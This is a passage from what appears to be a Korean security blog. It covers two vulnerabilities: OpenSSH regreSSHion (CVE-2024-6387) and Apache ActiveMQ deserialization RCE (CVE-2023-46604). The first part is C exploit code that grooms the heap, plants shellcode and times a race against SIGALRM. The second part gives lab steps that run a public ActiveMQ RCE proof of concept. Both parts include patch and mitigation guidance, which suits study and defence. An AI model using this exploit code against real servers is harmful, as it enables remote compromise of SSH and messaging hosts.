      // Error before sshkey_from_blob
      packet_size = snprintf ((char *)error_packet, sizeof (error_packet),
                              "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3");
    }
  else
    {
      // Error after sshkey_from_blob
      packet_size = snprintf ((char *)error_packet, sizeof (error_packet),
                              "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9");
    }

  struct timespec start, end;
  clock_gettime (CLOCK_MONOTONIC, &start);

  send_packet (sock, 50, error_packet,
               packet_size); // SSH_MSG_USERAUTH_REQUEST

  char response[1024];
  ssize_t received;
  do
    {
      received = recv (sock, response, sizeof (response), 0);
    }
  while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));

  clock_gettime (CLOCK_MONOTONIC, &end);

  double elapsed
      = (end.tv_sec - start.tv_sec) + (end.tv_nsec - start.tv_nsec) / 1e9;
  return elapsed;
}

void
create_public_key_packet (unsigned char *packet, size_t size,
                          uint64_t glibc_base)
{
  memset (packet, 0, size);

  size_t offset = 0;
  for (int i = 0; i < 27; i++)
    {
      // malloc(~4KB) - This is for the large hole
      *(uint32_t *)(packet + offset) = CHUNK_ALIGN (4096);
      offset += CHUNK_ALIGN (4096);

      // malloc(304) - This is for the small hole (potential FILE structure)
      *(uint32_t *)(packet + offset) = CHUNK_ALIGN (304);
      offset += CHUNK_ALIGN (304);
    }

  // Add necessary headers for the SSH public key format
  memcpy (packet, "ssh-rsa ", 8);

  // Place shellcode in the heap via previous allocations
  memcpy (packet + CHUNK_ALIGN (4096) * 13 + CHUNK_ALIGN (304) * 13, shellcode,
          sizeof (shellcode));

  // Set up the fake FILE structures within the packet
  for (int i = 0; i < 27; i++)
    {
      create_fake_file_structure (packet + CHUNK_ALIGN (4096) * (i + 1)
                                      + CHUNK_ALIGN (304) * i,
                                  CHUNK_ALIGN (304), glibc_base);
    }
}

int
attempt_race_condition (int sock, double parsing_time, uint64_t glibc_base)
{
  unsigned char final_packet[MAX_PACKET_SIZE];
  create_public_key_packet (final_packet, sizeof (final_packet), glibc_base);

  // Send all but the last byte
  if (send (sock, final_packet, sizeof (final_packet) - 1, 0) < 0)
    {
      perror ("send final packet");
      return 0;
    }

  // Precise timing for last byte
  struct timespec start, current;
  clock_gettime (CLOCK_MONOTONIC, &start);

  while (1)
    {
      clock_gettime (CLOCK_MONOTONIC, &current);
      double elapsed = (current.tv_sec - start.tv_sec)
                       + (current.tv_nsec - start.tv_nsec) / 1e9;
      if (elapsed >= (LOGIN_GRACE_TIME - parsing_time - 0.001))
        { // 1ms before SIGALRM
          if (send (sock, &final_packet[sizeof (final_packet) - 1], 1, 0) < 0)
            {
              perror ("send last byte");
              return 0;
            }
          break;
        }
    }

  // Check for successful exploitation
  char response[1024];
  ssize_t received = recv (sock, response, sizeof (response), 0);
  if (received > 0)
    {
      printf ("Received response after exploit attempt (%zd bytes)\n",
              received);
      // Analyze response to determine if we hit the "large" race window
      if (memcmp (response, "SSH-2.0-", 8) != 0)
        {
          printf ("Possible hit on 'large' race window\n");
          return 1;
        }
    }
  else if (received == 0)
    {
      printf (
          "Connection closed by server - possible successful exploitation\n");
      return 1;
    }
  else if (errno == EWOULDBLOCK || errno == EAGAIN)
    {
      printf ("No immediate response from server - possible successful "
              "exploitation\n");
      return 1;
    }
  else
    {
      perror ("recv");
    }
  return 0;
}

int
perform_exploit (const char *ip, int port)
{
  int success = 0;
  double parsing_time = 0;
  double timing_adjustment = 0;

  for (int base_idx = 0; base_idx < NUM_GLIBC_BASES && !success; base_idx++)
    {
      uint64_t glibc_base = GLIBC_BASES[base_idx];
      printf ("Attempting exploitation with glibc base: 0x%lx\n", glibc_base);

      for (int attempt = 0; attempt < 10000 && !success; attempt++)
        {
          if (attempt % 1000 == 0)
            {
              printf ("Attempt %d of 10000\n", attempt);
            }

          int sock = setup_connection (ip, port);
          if (sock < 0)
            {
              fprintf (stderr, "Failed to establish connection, attempt %d\n",
                       attempt);
              continue;
            }

          if (perform_ssh_handshake (sock) < 0)
            {
              fprintf (stderr, "SSH handshake failed, attempt %d\n", attempt);
              close (sock);
              continue;
            }

          prepare_heap (sock);
          time_final_packet (sock, &parsing_time);

          // Implement feedback-based timing strategy
          parsing_time += timing_adjustment;

          if (attempt_race_condition (sock, parsing_time, glibc_base))
            {
              printf ("Possible exploitation success on attempt %d with glibc "
                      "base 0x%lx!\n",
                      attempt, glibc_base);
              success = 1;
              // In a real exploit, we would now attempt to interact with the
              // shell
            }
          else
            {
              // Adjust timing based on feedback
              timing_adjustment += 0.00001; // Small incremental adjustment
            }

          close (sock);
          usleep (100000); // 100ms delay between attempts, as mentioned in the
                           // advisory
        }
    }

  return success;
}

 

3. 대응방안

- 벤더사 제공 보안 업데이트 적용 [8]

영향받는 버전 해결 버전
OpenSSH 4.4p1 이전 버전 9.8p1
OpenSSH 8.5p1 ~ 9.8p1 이전 버전

* 4.4p1 이전 버전:  CVE-2006-5051, CVE-2008-4109 취약점에 대한 패치가 되어 있을 경우 안전
* 4.4p1 ~ 8.5p1 이전 버전: CVE-2006-5051 취약점 패치가 적용되어 있을 경우 안전
* 8.5p1 ~ 9.8p1 이전 버전: 9.8p1 버전으로 업데이트 적용
* 오픈BSD(OpenBSD) 시스템들은 전부 안전하다.

 

- 기타
> SSH에 대한 접근 제어, 로그 모니터링
> LoginGraceTime 시간 수정
> OpenSSH regreSSHion 취약점 여부 확인 스크립트 활용 [9]

 

4. 참고

[1] https://www.qualys.com/2024/07/01/cve-2024-6387/regresshion.txt
[2] https://www.openssh.com/
[3] https://nvd.nist.gov/vuln/detail/CVE-2006-5051
[4] https://www.ietf.org/rfc/rfc4121.txt
[5] https://nvd.nist.gov/vuln/detail/CVE-2024-6387
[6] https://www.varonis.com/blog/openssh-regresshion-rce-vulnerability
[7] https://github.com/zgzhang/cve-2024-6387-poc/tree/main
[8] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=1&categoryCode=&nttId=71480
[9] https://github.com/xaitax/CVE-2024-6387_Check
[10] https://kitpa.org/news/cly3bx82u000bvkc4s1i7winu
[11] https://hackread.com/regresshion-vulnerability-openssh-exposes-servers/
[12] https://blog.criminalip.io/ko/2024/07/02/cve-2024-6387/
[13] https://www.boannews.com/media/view.asp?idx=131054&page=1&kind=1
[14] https://svrforum.com/itnews/1532803
[15] https://maily.so/newslettertodevops/posts/4b1f03db

1. Apache ActiveMQ [1][2]

- 자바로 만든 오픈소스 메세지 브로커로, 다양한 언어를 이용하는 시스템간의 통신을 할 수 있게 함

- 가장 대중적이고 강력한 오픈 소스 메세징 그리고 통합 패턴 서버

- 클라이언트 간 메시지를 송수신 할 수 있는 오픈 소스 Broker(JMS 서버)

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-46604 [3]

 

- ActiveMQ에서 내부적으로 사용하는 OpenWire 프로토콜에서 불충분한 클래스 역직렬화 검증으로 인해 발생 (CVSS: 10.0)

> ActiveMQ 서버가 외부에 노출된 경우 공격에 악용될 수 있음 

조건 ① OpenWire 포트 61616에 엑세스 가능

조건 ② 데이터 유형이 31인 OpenWire 패킷 전송

> 암호화폐 채굴 악성코드 또는 랜섬웨어 유포 등 악용 사례가 발견되는 중

- 영향받는 버전
① Apache ActiveMQ
> 5.18.0 ~ 5.18.3 이전 버전
> 5.17.0 ~ 5.17.6 이전 버전
> 5.16.0 ~ 5.16.7 이전 버전
> 5.15.16 이전 버전

② Apache ActiveMQ Legacy OpenWire Module
> 5.18.0 ~ 5.18.3 이전 버전
> 5.17.0 ~ 5.17.6 이전 버전
> 5.16.0 ~ 5.16.7 이전 버전
> 5.8.0 ~ 5.15.16 이전 버전

 

[사진 2] SHODAN 검색 결과 (product:"ActiveMQ OpenWire Transport" / product:"ActiveMQ OpenWire Transport" port:61616)

 

[사진 3] 취약점 악용 공격 IP [4]

 

2.1 취약점 상세 [5][6][7]

- 입력에서 데이터 스트림을 수신하면 OpenWireFormat.doUnmarshal 메서드를 통해 언마셜을 수행

> 언마셜이란 XML을 Java Object로 변환하는 것을 의미 (반대의 과정을 마셜이라 함)

> 언마셜 과정은 BaseDataStreamMarshaller에 의존

 

- ActiveMQ에는 각각의 데이터 유형에 맞게 설계된 다양한 종류의 DataStreamMarshaller이 존재

> 시스템은 데이터와 함께 제공되는 DATA_STRUCTURE_TYPE을 확인해 사용할 Marshaller를 결정 [8]

 

- 데이터 타입이 31(EXCEPTION_RESPONSE)일 경우 ExceptionResponseMarshaller을 이용해 언마셜 수행

> 해당 취약점은 ExceptionResponse 데이터에서 생성된 클래스의 유효성을 검사하지 못하여 발생

 

2.2 취약점 실습

- ActiveMQ 실행

> default ID/PW: admin/admin

wget hxxps://archive.apache.org/dist/activemq/5.18.2/apache-activemq-5.18.2-bin.tar.gz
tar -zxvf apache-activemq-5.18.2-bin.tar.gz
cd apache-activemq-5.18.2/bin/
./activemq start

 

[사진 4] ApachMQ 실행 및 버전 확인

 

- PoC 다운 및 수정 [9]

> PoC 수행 전 tmp 디렉터리에 success 파일은 존재하지 않는 상태

git clone hxxps://github.com/X1r0z/ActiveMQ-RCE
cd ActiveMQ-RCE
vi poc.xml

 

[사진 5] PoC 수정
[사진 6] ls /tmp/success

 

- PoC 수행

> PoC 수행 결과 404 Error를 반환하며 다른 PoC를 수행해 보았으나 동일 결과 반환

> PoC가 정상 수행될 경우 /tmp/success 파일이 생성

python3 -m http.server
go run main.go -i 127.0.0.1 -u http://localhost:8000/poc.xml

 

[사진 7] PoC 결과 404 반환
[사진 8] PoC 패킷 캡쳐

 

3. 대응방안

① 벤더사 제공 최신 업데이트 적용 [10]

- validateIsThrowable 메서드를 추가

> 제공된 클래스가 Throwable 클래스 확장 유무 확인

> Throwable을 확장하지 않으면 해당 클래스가 Throwable에 할당할 수 없음을 나타내는 "IlalgalArgumentException" 오류 메시지 생성

제품명 영향받는 버전 해결 버전
Apache ActiveMQ 5.18.0 ~ 5.18.3 이전 버전 5.18.3
5.17.0 ~ 5.17.6 이전 버전 5.17.6
5.16.0 ~ 5.16.7 이전 버전 5.16.7
5.15.16 이전 버전 5.15.16
Apache ActiveMQ
Legacy OpenWire Module
5.18.0 ~ 5.18.3 이전 버전 5.18.3
5.17.0 ~ 5.17.6 이전 버전 5.17.6
5.16.0 ~ 5.16.7 이전 버전 5.16.7
5.8.0 ~ 5.15.16 이전 버전 5.15.16

 

[사진 9]&nbsp;validateIsThrowable

 

② OpenWire 프로토콜 비활성화

③ 모니터링 (snort rule 적용 등 비정상적인 시도 모니터링 및 차단)

 

4. 참고

[1] https://activemq.apache.org/
[2] https://velog.io/@rlaghwns1995/Apache-ActiveMQ%EC%9D%98-%EA%B8%B0%EB%B3%B8
[3] https://nvd.nist.gov/vuln/detail/CVE-2023-46604
[4] https://viz.greynoise.io/tag/apache-activemq-rce-attempt?days=30
[5] https://www.vicarius.io/vsociety/posts/apache-activemq-rce-cve-2023-46604
[6] https://attackerkb.com/topics/IHsgZDE3tS/cve-2023-46604/rapid7-analysis
[7] https://www.uptycs.com/blog/apache-activemq-cve-2023-46604?hs_amp=true
[8] https://github.com/apache/activemq-openwire/blob/main/openwire-core/src/main/java/org/apache/activemq/openwire/commands/CommandTypes.java#L78
[9] https://github.com/X1r0z/ActiveMQ-RCE
[10] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=2&categoryCode=&nttId=71236
[11] https://www.boannews.com/media/view.asp?idx=123384&page=1&kind=1
[12] https://www.boannews.com/media/view.asp?idx=123822&page=1&kind=1
[13] https://www.boannews.com/media/view.asp?idx=124844&direct=mobile

+ Recent posts